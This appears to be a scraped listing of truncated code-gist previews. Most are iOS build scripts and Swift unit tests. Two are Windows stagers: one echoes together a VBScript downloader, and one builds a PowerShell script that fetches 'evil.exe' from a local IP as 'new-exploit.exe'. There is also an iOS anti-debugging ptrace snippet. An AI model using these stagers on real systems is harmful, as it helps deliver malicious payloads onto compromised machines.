This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Simple iOS build script | |
# Written by Aron Bury, 29/11/2011 | |
appname="AwesomeApp" | |
target_name="$appname" | |
sdk="iphoneos" | |
certificate="iPhone Developer: Joe Blogs" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import XCTest | |
@testable import YourAppTargetname | |
class SideMenuViewControllerTest: XCTestCase { | |
var viewControllerUnderTest: SideMenuViewController! | |
override func setUp() { | |
super.setUp() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import UIKit | |
import XCTest | |
import MapKit | |
class ExampleTests: XCTestCase { | |
//declaring the ViewController under test as an implicitly unwrapped optional | |
var viewControllerUnderTest : ViewController! | |
override func setUp() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import XCTest | |
@testable import UnitTests | |
class ExampleTests: XCTestCase { | |
var viewControllerUnderTest: ViewController! | |
override func setUp() { | |
super.setUp() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo strUrl = WScript.Arguments.Item(0) > wget.vbs | |
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs | |
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs | |
echo Err.Clear >> wget.vbs | |
echo Set http = Nothing >> wget.vbs | |
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Build on OS X with: | |
// clang debugdetect.cpp -o debugdetect -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7 | |
#import <dlfcn.h> | |
#import <sys/types.h> | |
#import <stdio.h> | |
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data); | |
void disable_dbg() { | |
ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(RTLD_SELF, "ptrace"); | |
ptrace_ptr(31, 0, 0, 0); // PTRACE_DENY_ATTACH = 31 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo $storageDir = $pwd > wget.ps1 | |
echo $webclient = New‐Object System.Net.WebClient >>wget.ps1 | |
echo $url = "http://192.168.10.52:8000/evil.exe" >>wget.ps1 | |
echo $file = "new-exploit.exe" >>wget.ps1 | |
echo $webclient.DownloadFile($url,$file) >>wget.ps1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Example of an asynchronous unit test | |
func testUserLogin() { | |
let readyExpectation = expectationWithDescription("ready") | |
User.loginWithUsername("kris@bla.org", password: "blah") { (isSuccess) -> Void in | |
let expectedLoginSuccessStatus = true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// ViewController.swift | |
// Delete | |
// | |
// Created by Mike Chirico on 10/21/15. | |
// Copyright © 2015 Mike Chirico. All rights reserved. | |
// | |
import UIKit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
func testControllerShowsAlertIfUserLogsInWithEmptyUsernameAndPasswordTextField() { | |
// mock of LoginViewController | |
class MockLoginViewController: LoginViewController { | |
var presentViewControllerTarget: UIViewController? | |
override func presentViewController(viewControllerToPresent: UIViewController, animated flag: Bool, completion: (() -> Void)?) { | |
presentViewControllerTarget = viewControllerToPresent | |
} | |
} | |
OlderNewer